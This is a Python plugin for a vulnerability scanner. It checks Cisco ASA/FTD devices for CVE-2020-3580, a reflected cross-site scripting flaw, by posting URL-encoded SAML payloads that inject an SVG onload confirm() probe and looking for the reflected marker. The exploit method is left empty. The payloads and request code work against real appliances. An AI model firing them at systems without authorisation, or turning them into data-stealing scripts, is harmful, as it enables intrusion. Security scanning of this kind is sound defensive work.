#!/usr/bin/env python3
# -*- coding:utf-8 -*-

'''
Cisco ASA设备/FTD设备 XSS跨站脚本攻击
    CVE-2020-3580

Cisco ASA设备/FTD设备 XSS跨站脚本攻击 (反射型)
'''

from lib.tool.md5 import random_md5
from PluginManager import Vuln_Scan

class Scan(Vuln_Scan):
    def __init__(self):
        self.payloads = [
            {
                'path': '+CSCOE+/saml/sp/acs?tgname=a',
                'data': 'SAMLResponse=%22%3e%3csvg%2fonload%3dconfirm(\'{TEXT}\')%3e'
            },
            {
                'path': 'saml/sp/acs?tgname=a',
                'data': 'SAMLResponse=%22%3e%3csvg%2fonload%3dconfirm(\'{TEXT}\')%3e'
            },
            {
                'path': 'sp/acs?tgname=a',
                'data': 'SAMLResponse=%22%3e%3csvg%2fonload%3dconfirm(\'{TEXT}\')%3e'
            },
            {
                'path': 'acs?tgname=a',
                'data': 'SAMLResponse=%22%3e%3csvg%2fonload%3dconfirm(\'{TEXT}\')%3e'
            }
        ]
    
    def POC(self, clients):
        client = clients.get('reqClient')
        
        vul_info = {
            'app_name': 'Cisco',
            'vul_type': 'XSS',
            'vul_id': 'CVE-2020-3580',
        }

        for payload in self.payloads:         # * Payload
            random_str = random_md5(8)
            
            path = payload['path']                          # * Path
            data = payload['data'].format(TEXT=random_str)  # * Data

            res = client.request(
                'post',
                path,
                data=data,
                allow_redirects=False,
                vul_info=vul_info
            )
            if res is None:
                continue

            if (("onload=confirm('" + random_str + "')") in res.text):
                results = {
                    'Target': res.request.url,
                    'Type': [vul_info['app_name'], vul_info['vul_type'], vul_info['vul_id']],
                    'Request': res
                }
                return results
        return None
    
    def EXP(self, clients):
        pass

    def Start(self, clients):
        return self.POC(clients)
